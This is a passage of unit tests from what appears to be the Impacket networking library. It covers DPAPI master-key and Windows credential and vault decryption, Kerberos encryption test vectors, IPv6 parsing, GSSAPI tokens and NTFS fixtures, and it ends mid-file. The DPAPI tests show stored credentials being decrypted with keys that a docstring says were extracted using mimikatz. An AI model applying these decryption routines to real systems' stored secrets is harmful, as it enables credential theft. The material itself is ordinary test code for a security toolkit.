b\"\\xc3\\xc9\\x046\\xb1\\xb9A-~\\x17)\\xe9\\xdcb~\\xf7J+\\x15\\xa8\\xe7N\\xc5\\xe5\\x0b\\xe3\\x86\\xf8\\x08\\\\]G\" \\\n               b\"\\x9e;\\x82\\x9c\\xa2\\xf3\\xf8s\\xd9}\\xdd\\x00f\\x97u\\xe3\\xeff\\x05\\xa4\\x90\\x00\\x00\\x00\\x00\"\n\n    vcrdFile = b'\\x99T\\xcd<\\xa8\\x87\\x10K\\xa2\\x15`\\x88\\x88\\xdd;U\\x04\\x00\\x00\\x00\\xa3\\xcf\\x10\\xffWm\\xd3\\x01\\xff' \\\n               b'\\xff\\xff\\xff\\x00\\x02\\x00\\x00$\\x00\\x00\\x00I\\x00n\\x00t\\x00e\\x00r\\x00n\\x00e\\x00t\\x00 \\x00E\\x00x' \\\n               b'\\x00p\\x00l\\x00o\\x00r\\x00e\\x00r\\x00\\x00\\x000\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x80\\x00\\x00\\x00M_{' \\\n               b'\\x18\\x02\\x00\\x00\\x00\\xb5\\x00\\x00\\x00M_{\\x18\\x03\\x00\\x00\\x00\\xea\\x00\\x00\\x00M_{\\x18d\\x00\\x00' \\\n               b'\\x00\\x00\\x01\\x00\\x00M_{\\x18\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\n\\x00\\x00\\x00!' \\\n               b'\\x00\\x00\\x00\\x00\\x00e\\x1c\\x90\\x18P\\xab\\xd0 0\\xac!\\xaf\\x10\\x81\\xfe\\xabAN#ga\\xa9^I\\x0e=\\xffW' \\\n               b'\\xd2\\xdbt\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\n\\x00\\x00\\x00!\\x00\\x00\\x00\\x00\\x99' \\\n               b'|\\xc9\\x8b+\\xd1\\xbfF\\xf2\\xdd\\xdd\\xac\\xa9\\x80\\xfd\\x08x\\x9d\\xe6\\xbe\\x16&\\xb0\\'\\x1ahQ\\x08\\x86-' \\\n               b'\\xdc~\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00d' \\\n               b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb5\\x00\\x00\\x00' \\\n               b'\\x01\\x10\\x00\\x00\\x00)\\x87\\xe8|\\xe62\\xc7\\xcf\\x98\\xc9\\xbd\\xfb}\"\\xe4]8\\x8a\\x1cl\\xb9\\x1dP4\\xc8' \\\n               b'\\xdf\\xe1\\x8e#b\\x91\\xe3\\xbe\\xb2bA$,\\xe9\\xa1\\xa6\\x93\\xff\\t\\x84+\\xda\\xff\\x9f-\\'\\x96O\\xb9\\xe9' \\\n               b'\\x15\\x0f\\xb8\\xd4\\xdbs\\xa3\\xb1Z\\xfc\\x90\\x07\\x01?DBQ\\xd4\\x1d_\\x0eo?\\xd3Z\\xf1Z\\xe7\\xf8\\xe4oL3' \\\n               b'\\x91\\xbbB%\\xef\\x0f\\xaf\\x03*\\x99\\xd6\\xb6\\xc8\\xd9\\x83+e\\x8b\\x02l\\x9fl IJ\\xe2\\x89~a)E\\x8fL\\xe4' \\\n               b'\\xfc\\x9dC\\x17\\xb0\\x14\\xe9]H\\xfd\\x0e+:\\xc5\\xc7\\xcb\\x87\\xd0S\\x16\\x1bu\\xb4\\xfc1\\xce\\xd8\\xffb' \\\n               b'\\x0e3\\xbe|\\xa3\\xd7<\\xd1:\\xf1.PUr\\xe8\\xfdQ\\x16\\xe3\\xa9\\rt\\x14\\x04\\xbb\\x01\\x00\\x00\\x00\\x00' \\\n               b'\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n    def test_DPAPI_SYSTEM(self):\n        blob = unhexlify('010000002bb2109db472825bfa7660fdbed62c981f08587b458dc597034d8801fc6fe3b342817caabb81a0cb')\n        keys = DPAPI_SYSTEM(blob)\n        keys.dump()\n        self.assertEqual(self.machineKey, keys['MachineKey'])\n        self.assertEqual(self.userKey, keys['UserKey'])\n\n    def test_systemMasterKeyFile(self):\n        mkf = MasterKeyFile(self.systemMasterKeyFile)\n        mkf.dump()\n        data = self.systemMasterKeyFile[len(mkf):]\n        mk = MasterKey(data[:mkf['MasterKeyLen']])\n        mk.dump()\n        decryptedKey = mk.decrypt(self.userKey)\n        self.assertEqual(decryptedKey, self.systemMasterKey)\n\n    def deriveKeysFromUser(self, sid, password):\n        # Will generate two keys, one with SHA1 and another with MD4\n        key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\\0').encode('utf-16le'), SHA1).digest()\n        key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\\0').encode('utf-16le'), SHA1).digest()\n\n        return key1, key2\n\n    def atest_adminMasterKeyFile(self):\n        # ToDo: fix this one..\n        mkf = MasterKeyFile(self.adminMasterKeyFile)\n        mkf.dump()\n        data = self.adminMasterKeyFile[len(mkf):]\n        mk = MasterKey(data[:mkf['MasterKeyLen']])\n        mk.dump()\n        key1, key2 = self.deriveKeysFromUser(self.sid, self.password)\n        decryptedKey = mk.decrypt(key1)\n        decryptedKey = mk.decrypt(key2)\n        self.assertEqual(decryptedKey, self.adminMasterKey)\n\n    def test_decryptCredential(self):\n        credFile = CredentialFile(self.credentialFile)\n        credFile.dump()\n        blob = DPAPI_BLOB(credFile['Data'])\n        decrypted = blob.decrypt(self.adminMasterKey)\n        creds = CREDENTIAL_BLOB(decrypted)\n        creds.dump()\n        self.assertEqual(creds['Username'], self.username.encode('utf-16le'))\n\n    @pytest.mark.skipif(os.name != \"nt\", reason=\"Only Windows\")\n    def test_dumpBlobProtectAPI(self):\n        \"\"\"Protect a blob using DPAPI and then parse and dump it. We're not testing the\n        correct decryption at this point.\n\n        TODO: It would be great to have a complete functional test to protect using DPAPI and\n              then unprotect it but it will require also dumping the master key from the test\n              system.\n        \"\"\"\n        plain_blob = b\"Some test string\"\n        entropy = b\"Some entropy\"\n        encrypted_blob = dpapi_protect(plain_blob, entropy)\n        dpapi_blob = DPAPI_BLOB(encrypted_blob)\n        dpapi_blob.dump()\n\n    def test_unprotect_without_entropy(self):\n        \"\"\"Simple test to decrypt a protected blob without providing an entropy string.\n        The blob was obtained using the dpapi_protect helper function and key extracted from a\n        test system with secretsdump/mimikatz.\n        \"\"\"\n        plain_blob = b\"Some test string\"\n        entropy = None\n        key = unhexlify(\"9828d9873735439e823dbd216205ff88266d28ad685a413970c640d5ee943154bbade31fada673d542c72d707a163bb3d1bceb0c50465b359ae06998481b0ce3\")\n        encrypted_blob = unhexlify(\"01000000d08c9ddf0115d1118c7a00c04fc297eb0100000033f19f5ee340be4a8a2e2b4e62bd0cc6000000000200000000001066000000010000200000000d1af96e5e102266fd36d96ac7d1595552e5a4e972463f77e6e227f22d5fc8df000000000e8000000002000020000000834f3c5710c8a7474f7dbcea8ba28ab8e4d4443f50a0c63ff4eba1cce485295f20000000b61d7576c0c6caf3690edb247bde3f7edaa59580e3b4be1265ea78e8c1b8a61d400000001c03ab807147742649b6bdfd1c1344d178bb163842d70abacfd51233af909cb81a677ec05d8db996f587ef5ac410dc189beda756eb0d1b6ee376823e80968538\")\n        dpapi_blob = DPAPI_BLOB(encrypted_blob)\n        decrypted_blob = dpapi_blob.decrypt(key, entropy)\n        self.assertEqual(plain_blob, decrypted_blob)\n\n    def test_unprotect_with_entropy(self):\n        \"\"\"Simple test to decrypt a protected blob providing an entropy string.\n        The blob was obtained using the dpapi_protect helper function and key extracted from a\n        test system with secretsdump/mimikatz.\n        \"\"\"\n        plain_blob = b\"Some test string\"\n        entropy = b\"Some entropy\"\n        key = unhexlify(\"9828d9873735439e823dbd216205ff88266d28ad685a413970c640d5ee943154bbade31fada673d542c72d707a163bb3d1bceb0c50465b359ae06998481b0ce3\")\n        encrypted_blob = unhexlify(\"01000000d08c9ddf0115d1118c7a00c04fc297eb0100000033f19f5ee340be4a8a2e2b4e62bd0cc600000000020000000000106600000001000020000000f239c0018e71b33bef9a6299675c7e209eef1f6447bd578d19c7973548737545000000000e80000000020000200000009d9ef33e15ffb1b310a13ecec39b1c02adc39e8d40a7162f9f9bb3170c699a812000000040e820259332c47af42e5f9de629e109d1504641aad853f3818c40ac311cf24a4000000010f01a84a5cc0393d3ea44cc3a8ff00ca4d02fcabc7c353a6823c53e4e719c9b398282a06b8878250205160ed79fef8b026093ad5a467594953d6de28d71f8c9\")\n        dpapi_blob = DPAPI_BLOB(encrypted_blob)\n        decrypted_blob = dpapi_blob.decrypt(key, entropy)\n        self.assertEqual(plain_blob, decrypted_blob)\n\n    def test_decryptVpol(self):\n        vpol = VAULT_VPOL(self.vpolFile)\n        vpol.dump()\n        key = unhexlify('dda7cb9077756f4a5ea6291d57d5e3d3e96765885777cd6e8575f337034dfa4e58eb1ec5c97a4d9915b70130b7776aea16dc14a9486319e1849355c097b99272')\n        blob = vpol['Blob']\n        data = blob.decrypt(key)\n        keys = VAULT_VPOL_KEYS(data)\n        keys.dump()\n        self.assertEqual(keys['Key2']['bKeyBlob']['bKey'],\n                         unhexlify('756ff73b0ee4980e2dd722fbcd0badb9a6be89590304eb6d58b6e8ab7aaaec1d'))\n\n    def test_decryptVCrd(self):\n        blob = VAULT_VCRD(self.vcrdFile)\n        blob.dump()\n        key = unhexlify('acf4ff323558de5514be1731598e37c1ae5a6bf9016d5906097aee46712a5fe7')\n\n        cleartext = None\n        for i, entry in enumerate(blob.attributesLen):\n            if entry > 28:\n                attribute = blob.attributes[i]\n                if 'IV' in attribute.fields and len(attribute['IV']) == 16:\n                    cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV'])\n                else:\n                    cipher = AES.new(key, AES.MODE_CBC)\n                cleartext = cipher.decrypt(attribute['Data'])\n\n        if cleartext is not None:\n            # Lookup schema Friendly Name and print if we find one\n            if blob['FriendlyName'].decode('utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:\n                # Found one. Cast it and print\n                vault = VAULT_KNOWN_SCHEMAS[blob['FriendlyName'].decode('utf-16le')[:-1]](cleartext)\n                vault.dump()\n                self.assertEqual(vault['Username'], 'CONTOSO\\\\Administrator\\x00'.encode('utf-16le'))\n            else:\n                raise Exception('No valid Schema')\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/misc/test_ip6_address.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport six\nimport unittest\nfrom binascii import hexlify\nfrom impacket.IP6_Address import IP6_Address\n\n\ndef hexl(b):\n    return hexlify(b).decode('ascii')\n\n\nclass IP6AddressTests(unittest.TestCase):\n    def test_bin(self):\n        tests = ((\"A:B:C:D:E:F:1:2\", '000a000b000c000d000e000f00010002',\n                  \"A:B:C:D:E:F:1:2\"),\n                 (\"A:B:0:D:E:F:0:2\", '000a000b0000000d000e000f00000002',\n                  \"A:B::D:E:F:0:2\"),\n                 (\"A::BC:E:D\", '000a000000000000000000bc000e000d',\n                  \"A::BC:E:D\"),\n                 (\"A::BCD:EFFF:D\", '000a00000000000000000bcdefff000d',\n                  \"A::BCD:EFFF:D\"),\n                 (\"FE80:0000:0000:0000:020C:29FF:FE26:E251\",\n                  'fe80000000000000020c29fffe26e251',\n                  \"FE80::20C:29FF:FE26:E251\"),\n                 (\"::\", '00000000000000000000000000000000',\n                  \"::\"),\n                 (\"1::\", '00010000000000000000000000000000',\n                  \"1::\"),\n                 (\"::2\", '00000000000000000000000000000002',\n                  \"::2\"),\n                 )\n        #    print IP6_Address(\"A::BC:E:D\").as_string(False)\n        for torig, thex, texp in tests:\n            ip = IP6_Address(torig)\n            byt = ip.as_bytes()\n            self.assertEqual(hexl(byt), thex)\n            self.assertEqual(ip.as_string(), texp)\n\n    def test_malformed(self):\n        with six.assertRaisesRegex(self, Exception, r'address size'):\n            IP6_Address(\"ABCD:EFAB:1234:1234:1234:1234:1234:12345\")\n        with six.assertRaisesRegex(self, Exception, r'triple colon'):\n            IP6_Address(\":::\")\n        with six.assertRaisesRegex(self, Exception, r'triple colon'):\n            IP6_Address(\"::::\")\n        # Could also test other invalid inputs\n        # IP6_Address(\"AB:CD:EF\")\n        # IP6_Address(\"12::34::56\")\n        # IP6_Address(\"00BCDE::\")\n        # IP6_Address(\"DEFG::\")\n        # and how about these...\n        # IP6_Address(\"A::0XBC:D\")\n        # IP6_Address(\"B:-123::\")\n        # IP6_Address(\"B:56  ::-0xE\")\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/misc/test_krb5_crypto.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nfrom __future__ import print_function\nimport unittest\nfrom binascii import unhexlify\n\nfrom impacket.krb5.crypto import (Key, Enctype, encrypt, decrypt,\n                                  Cksumtype, verify_checksum, _zeropad,\n                                  string_to_key, prf, cf2)\n\n\ndef h(hexstr):\n    return unhexlify(hexstr)\n\n\nclass AESTests(unittest.TestCase):\n    def test_AES128(self):\n        # AES128 encrypt and decrypt\n        kb = h('9062430C8CDA3388922E6D6A509F5B7A')\n        conf = h('94B491F481485B9A0678CD3C4EA386AD')\n        keyusage = 2\n        plain = b'9 bytesss'\n        ctxt = h('68FB9679601F45C78857B2BF820FD6E53ECA8D42FD4B1D7024A09205ABB7CD2E'\n                 'C26C355D2F')\n        k = Key(Enctype.AES128, kb)\n        self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)\n        self.assertEqual(decrypt(k, keyusage, ctxt), plain)\n\n    def test_AES256(self):\n        # AES256 encrypt and decrypt\n        kb = h('F1C795E9248A09338D82C3F8D5B567040B0110736845041347235B1404231398')\n        conf = h('E45CA518B42E266AD98E165E706FFB60')\n        keyusage = 4\n        plain = b'30 bytes bytes bytes bytes byt'\n        ctxt = h('D1137A4D634CFECE924DBC3BF6790648BD5CFF7DE0E7B99460211D0DAEF3D79A'\n                 '295C688858F3B34B9CBD6EEBAE81DAF6B734D4D498B6714F1C1D')\n        k = Key(Enctype.AES256, kb)\n        self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)\n        self.assertEqual(decrypt(k, keyusage, ctxt), plain)\n\n    def test_AES128_checksum(self):\n        # AES128 checksum\n        kb = h('9062430C8CDA3388922E6D6A509F5B7A')\n        keyusage = 3\n        plain = b'eight nine ten eleven twelve thirteen'\n        cksum = h('01A4B088D45628F6946614E3')\n        k = Key(Enctype.AES128, kb)\n        verify_checksum(Cksumtype.SHA1_AES128, k, keyusage, plain, cksum)\n\n    def test_AES256_checksum(self):\n        # AES256 checksum\n        kb = h('B1AE4CD8462AFF1677053CC9279AAC30B796FB81CE21474DD3DDBCFEA4EC76D7')\n        keyusage = 4\n        plain = b'fourteen'\n        cksum = h('E08739E3279E2903EC8E3836')\n        k = Key(Enctype.AES256, kb)\n        verify_checksum(Cksumtype.SHA1_AES256, k, keyusage, plain, cksum)\n\n    def test_AES128_string_to_key(self):\n        # AES128 string-to-key\n        string = 'password'\n        salt = b'ATHENA.MIT.EDUraeburn'\n        params = h('00000002')\n        kb = h('C651BF29E2300AC27FA469D693BDDA13')\n        k = string_to_key(Enctype.AES128, string, salt, params)\n        self.assertEqual(k.contents, kb)\n\n    def test_AES256_string_to_key(self):\n        # AES256 string-to-key\n        string = 'X' * 64\n        salt = b'pass phrase equals block size'\n        params = h('000004B0')\n        kb = h('89ADEE3608DB8BC71F1BFBFE459486B05618B70CBAE22092534E56C553BA4B34')\n        k = string_to_key(Enctype.AES256, string, salt, params)\n        self.assertEqual(k.contents, kb)\n\n    def test_AES128_prf(self):\n        # AES128 prf\n        kb = h('77B39A37A868920F2A51F9DD150C5717')\n        k = string_to_key(Enctype.AES128, b'key1', b'key1')\n        self.assertEqual(prf(k, b'\\x01\\x61'), kb)\n\n    def test_AES256_prf(self):\n        # AES256 prf\n        kb = h('0D674DD0F9A6806525A4D92E828BD15A')\n        k = string_to_key(Enctype.AES256, b'key2', b'key2')\n        self.assertEqual(prf(k, b'\\x02\\x62'), kb)\n\n    def test_AES128_cf2(self):\n        # AES128 cf2\n        kb = h('97DF97E4B798B29EB31ED7280287A92A')\n        k1 = string_to_key(Enctype.AES128, b'key1', b'key1')\n        k2 = string_to_key(Enctype.AES128, b'key2', b'key2')\n        k = cf2(Enctype.AES128, k1, k2, b'a', b'b')\n        self.assertEqual(k.contents, kb)\n\n    def test_AES256_cf2(self):\n        # AES256 cf2\n        kb = h('4D6CA4E629785C1F01BAF55E2E548566B9617AE3A96868C337CB93B5E72B1C7B')\n        k1 = string_to_key(Enctype.AES256, b'key1', b'key1')\n        k2 = string_to_key(Enctype.AES256, b'key2', b'key2')\n        k = cf2(Enctype.AES256, k1, k2, b'a', b'b')\n        self.assertEqual(k.contents, kb)\n\n    def test_DES3(self):\n        # DES3 encrypt and decrypt\n        kb = h('0DD52094E0F41CECCB5BE510A764B35176E3981332F1E598')\n        conf = h('94690A17B2DA3C9B')\n        keyusage = 3\n        plain = b'13 bytes byte'\n        ctxt = h('839A17081ECBAFBCDC91B88C6955DD3C4514023CF177B77BF0D0177A16F705E8'\n                 '49CB7781D76A316B193F8D30')\n        k = Key(Enctype.DES3, kb)\n        self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)\n        self.assertEqual(decrypt(k, keyusage, ctxt), _zeropad(plain, 8))\n\n    def test_DES3_string_to_key(self):\n        # DES3 string-to-key\n        string = b'password'\n        salt = b'ATHENA.MIT.EDUraeburn'\n        kb = h('850BB51358548CD05E86768C313E3BFEF7511937DCF72C3E')\n        k = string_to_key(Enctype.DES3, string, salt)\n        self.assertEqual(k.contents, kb)\n\n    def test_DES3_checksum(self):\n        # DES3 checksum\n        kb = h('7A25DF8992296DCEDA0E135BC4046E2375B3C14C98FBC162')\n        keyusage = 2\n        plain = b'six seven'\n        cksum = h('0EEFC9C3E049AABC1BA5C401677D9AB699082BB4')\n        k = Key(Enctype.DES3, kb)\n        verify_checksum(Cksumtype.SHA1_DES3, k, keyusage, plain, cksum)\n\n    def test_DES3_cf2(self):\n        # DES3 cf2\n        kb = h('E58F9EB643862C13AD38E529313462A7F73E62834FE54A01')\n        k1 = string_to_key(Enctype.DES3, b'key1', b'key1')\n        k2 = string_to_key(Enctype.DES3, b'key2', b'key2')\n        k = cf2(Enctype.DES3, k1, k2, b'a', b'b')\n        self.assertEqual(k.contents, kb)\n\n    def test_RC4(self):\n        # RC4 encrypt and decrypt\n        kb = h('68F263DB3FCE15D031C9EAB02D67107A')\n        conf = h('37245E73A45FBF72')\n        keyusage = 4\n        plain = b'30 bytes bytes bytes bytes byt'\n        ctxt = h('95F9047C3AD75891C2E9B04B16566DC8B6EB9CE4231AFB2542EF87A7B5A0F260'\n                 'A99F0460508DE0CECC632D07C354124E46C5D2234EB8')\n        k = Key(Enctype.RC4, kb)\n        self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)\n        self.assertEqual(decrypt(k, keyusage, ctxt), plain)\n\n    def test_RC4_string_to_key(self):\n        # RC4 string-to-key\n        string = 'foo'\n        kb = h('AC8E657F83DF82BEEA5D43BDAF7800CC')\n        k = string_to_key(Enctype.RC4, string, None)\n        self.assertEqual(k.contents, kb)\n\n    def test_RC4_checksum(self):\n        # RC4 checksum\n        kb = h('F7D3A155AF5E238A0B7A871A96BA2AB2')\n        keyusage = 6\n        plain = b'seventeen eighteen nineteen twenty'\n        cksum = h('EB38CC97E2230F59DA4117DC5859D7EC')\n        k = Key(Enctype.RC4, kb)\n        verify_checksum(Cksumtype.HMAC_MD5, k, keyusage, plain, cksum)\n\n    def test_RC4_cf2(self):\n        # RC4 cf2\n        kb = h('24D7F6B6BAE4E5C00D2082C5EBAB3672')\n        k1 = string_to_key(Enctype.RC4, 'key1', 'key1')\n        k2 = string_to_key(Enctype.RC4, 'key2', 'key2')\n        k = cf2(Enctype.RC4, k1, k2, b'a', b'b')\n        self.assertEqual(k.contents, kb)\n\n    def test_DES_string_to_key(self):\n        # DES string-to-key\n        string = b'password'\n        salt = b'ATHENA.MIT.EDUraeburn'\n        kb = h('cbc22fae235298e3')\n        k = string_to_key(Enctype.DES_MD5, string, salt)\n        self.assertEqual(k.contents, kb)\n\n        # DES string-to-key\n        string = b'potatoe'\n        salt = b'WHITEHOUSE.GOVdanny'\n        kb = h('df3d32a74fd92a01')\n        k = string_to_key(Enctype.DES_MD5, string, salt)\n        self.assertEqual(k.contents, kb)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/misc/test_krb5_gssapi.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\n\nfrom impacket.krb5 import constants\nfrom impacket.krb5.gssapi import (\n    GSSAPI,\n    GSSAPI_AES128,\n    GSSAPI_AES256,\n    GSSAPI_RC4,\n    KRB_OID,\n    MechIndepToken,\n    _calculateMICPad,\n)\n\n\nclass _SessionKey:\n    def __init__(self, contents):\n        self.contents = contents\n\n\nclass KRB5GSSAPITests(unittest.TestCase):\n    def test_mechindep_token_from_bytes_invalid_tag_raises(self):\n        with self.assertRaises(Exception):\n            MechIndepToken.from_bytes(b\"\\x61\\x00\")\n\n    def test_mechindep_token_length_helpers_round_trip(self):\n        for length in (0, 1, 127, 128, 255, 256, 4096):\n            encoded = MechIndepToken.encode_length(length)\n            decoded, remaining = MechIndepToken.get_length(encoded + b\"tail\")\n            self.assertEqual(decoded, length)\n            self.assertEqual(remaining, b\"tail\")\n\n    def test_mechindep_token_from_bytes_short_form_length(self):\n        payload = b\"A\" * 10\n        token_data = KRB_OID + payload\n        raw = b\"\\x60\" + bytes([len(token_data)]) + token_data\n\n        parsed = MechIndepToken.from_bytes(raw)\n\n        self.assertEqual(parsed.token_oid, KRB_OID)\n        self.assertEqual(parsed.data, payload)\n\n    def test_mechindep_token_from_bytes_long_form_length(self):\n        payload = b\"B\" * 140\n        token_data = KRB_OID + payload\n        raw = b\"\\x60\" + MechIndepToken.encode_length(len(token_data)) + token_data\n\n        parsed = MechIndepToken.from_bytes(raw)\n\n        self.assertEqual(parsed.token_oid, KRB_OID)\n        self.assertEqual(parsed.data, payload)\n\n    def test_mechindep_token_to_bytes_round_trip(self):\n        payload = b\"hello-token\"\n        token = MechIndepToken(payload, KRB_OID)\n        header, body = token.to_bytes()\n        parsed = MechIndepToken.from_bytes(header + body)\n\n        self.assertEqual(header + body, b\"\\x60\" + MechIndepToken.encode_length(len(KRB_OID + payload)) + KRB_OID + payload)\n        self.assertEqual(parsed.token_oid, KRB_OID)\n        self.assertEqual(parsed.data, payload)\n\n    def test_calculate_mic_pad(self):\n        self.assertEqual(_calculateMICPad(b\"\"), b\"\")\n        self.assertEqual(_calculateMICPad(b\"A\"), b\"\\x03\" * 3)\n        self.assertEqual(_calculateMICPad(b\"AB\"), b\"\\x02\" * 2)\n        self.assertEqual(_calculateMICPad(b\"ABCD\"), b\"\")\n\n    def test_gssapi_factory_returns_expected_impl(self):\n        class _Cipher:\n            def __init__(self, enctype):\n                self.enctype = enctype\n\n        self.assertIsInstance(\n            GSSAPI(_Cipher(constants.EncryptionTypes.rc4_hmac.value)),\n            GSSAPI_RC4,\n        )\n        self.assertIsInstance(\n            GSSAPI(_Cipher(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)),\n            GSSAPI_AES128,\n        )\n        self.assertIsInstance(\n            GSSAPI(_Cipher(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)),\n            GSSAPI_AES256,\n        )\n        with self.assertRaises(Exception):\n            GSSAPI(_Cipher(0xFFFF))\n\n    def test_gssapi_rc4_getmic_changes_with_direction(self):\n        gssapi = GSSAPI_RC4()\n        session_key = _SessionKey(b\"\\x11\" * 16)\n        data = b\"mic-data\"\n        sequence_number = 3\n\n        init_mic = gssapi.GSS_GetMIC(session_key, data, sequence_number, direction=\"init\")\n        accept_mic = gssapi.GSS_GetMIC(session_key, data, sequence_number, direction=\"accept\")\n\n        self.assertTrue(init_mic.startswith(b\"\\x60\\x23\"))\n        self.assertTrue(accept_mic.startswith(b\"\\x60\\x23\"))\n        self.assertNotEqual(init_mic, accept_mic)\n\n    def test_gssapi_rc4_wrap_without_encryption_returns_padded_plaintext(self):\n        gssapi = GSSAPI_RC4()\n        session_key = _SessionKey(b\"\\x22\" * 16)\n        plain_text = b\"abc\"\n\n        cipher_text, header = gssapi.GSS_Wrap(\n            session_key, plain_text, 1, direction=\"init\", encrypt=False\n        )\n\n        self.assertEqual(cipher_text, b\"abc\" + b\"\\x05\" * 5)\n        self.assertTrue(header.startswith(b\"\\x60\\x2b\"))\n\n    def test_gssapi_rc4_ldap_wrap_unwrap_round_trip(self):\n        gssapi = GSSAPI_RC4()\n        session_key = _SessionKey(b\"\\x41\" * 16)\n        plain_text = b\"ldap-sign-and-seal-payload\"\n        sequence_number = 7\n\n        cipher_text, header = gssapi.GSS_Wrap_LDAP(\n            session_key, plain_text, sequence_number, encrypt=True\n        )\n        unwrapped, _ = gssapi.GSS_Unwrap_LDAP(\n            session_key, header + cipher_text, sequence_number\n        )\n\n        self.assertEqual(unwrapped, plain_text)\n\n    def test_gssapi_aes_rotate_unrotate_inverse(self):\n        gssapi = GSSAPI_AES128()\n        data = b\"0123456789abcdef\"\n\n        for amount in (0, 1, 5, len(data), len(data) + 3):\n            rotated = gssapi.rotate(data, amount)\n            unrotated = gssapi.unrotate(rotated, amount)\n            self.assertEqual(unrotated, data)\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/misc/test_ntfs_read.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Unit tests for examples/ntfs-read.py — data run parsing, read logic,\n# attribute list handling, walk() inline entries, etc.\n#\nimport importlib.util\nimport io\nimport os\nimport struct\nimport unittest\n\n# ---------------------------------------------------------------------------\n# Import ntfs-read.py (hyphenated name requires importlib)\n# ---------------------------------------------------------------------------\n_NTFS_READ_PATH = os.path.normpath(\n    os.path.join(os.path.dirname(__file__), '..', '..', 'examples', 'ntfs-read.py')\n)\n_spec = importlib.util.spec_from_file_location('ntfs_read', _NTFS_READ_PATH)\nntfs_read = importlib.util.module_from_spec(_spec)\n_spec.loader.exec_module(ntfs_read)\n\n# Shorthand constants from the module\nDATA = ntfs_read.DATA\nFILE_NAME = ntfs_read.FILE_NAME\nFILE_NAME_WIN32 = ntfs_read.FILE_NAME_WIN32\nFILE_NAME_DOS = ntfs_read.FILE_NAME_DOS\nINDEX_ROOT = ntfs_read.INDEX_ROOT\n\nBYTES_PER_SECTOR = 512\nSECTORS_PER_CLUSTER = 8\nCLUSTER_SIZE = BYTES_PER_SECTOR * SECTORS_PER_CLUSTER  # 4096\n\n\n# ===========================================================================\n# Helpers / Fixtures\n# ===========================================================================\n\nclass MockBPB:\n    \"\"\"Dict-like mock for volume BPB.\"\"\"\n    def __getitem__(self, key):\n        return {\n            'BytesPerSector': BYTES_PER_SECTOR,\n            'SectorsPerCluster': SECTORS_PER_CLUSTER,\n        }[key]\n\n\nclass MockVolume:\n    \"\"\"Minimal NTFS volume mock backed by BytesIO.\"\"\"\n    def __init__(self, size=0):\n        self.volumeFD = io.BytesIO(b'\\x00' * size)\n        self.BPB = MockBPB()\n\n\nclass MockINode:\n    \"\"\"Minimal inode mock for attribute construction.\"\"\"\n    def __init__(self, volume=None):\n        self.NTFSVolume = volume or MockVolume()\n        self.INodeNumber = 100\n\n\ndef build_nonresident_attr(data_runs_bytes, data_size,\n                           initialized_size=None, allocated_size=None):\n    \"\"\"Build a complete raw non-resident attribute record.\n\n    Returns bytes: common header + non-resident header + data run bytes.\n    \"\"\"\n    if initialized_size is None:\n        initialized_size = data_size\n    if allocated_size is None:\n        allocated_size = max(\n            ((data_size + CLUSTER_SIZE - 1) // CLUSTER_SIZE) * CLUSTER_SIZE,\n            CLUSTER_SIZE,\n        )\n\n    COMMON_HDR_SIZE = 16\n    NR_HDR_SIZE = 48\n    runs_offset = COMMON_HDR_SIZE + NR_HDR_SIZE  # 64\n    total_length = runs_offset + len(data_runs_bytes)\n    total_length = (total_length + 7) & ~7  # 8-byte align\n\n    # NTFS_ATTRIBUTE_RECORD (common header)\n    buf = struct.pack('<LLBBHHH',\n                      DATA,          # Type\n                      total_length,  # Length\n                      1,             # NonResident\n                      0,             # NameLength\n                      0,             # NameOffset\n                      0,             # Flags\n                      0)             # Instance\n\n    # NTFS_ATTRIBUTE_RECORD_NON_RESIDENT\n    buf += struct.pack('<QQ', 0, 0)                      # LowestVCN, HighestVCN\n    buf += struct.pack('<HH', runs_offset, 0)            # DataRunsOffset, CompressionUnit\n    buf += b'\\x00' * 4                                   # Reserved1\n    buf += struct.pack('<QQQ',\n                       allocated_size, data_size, 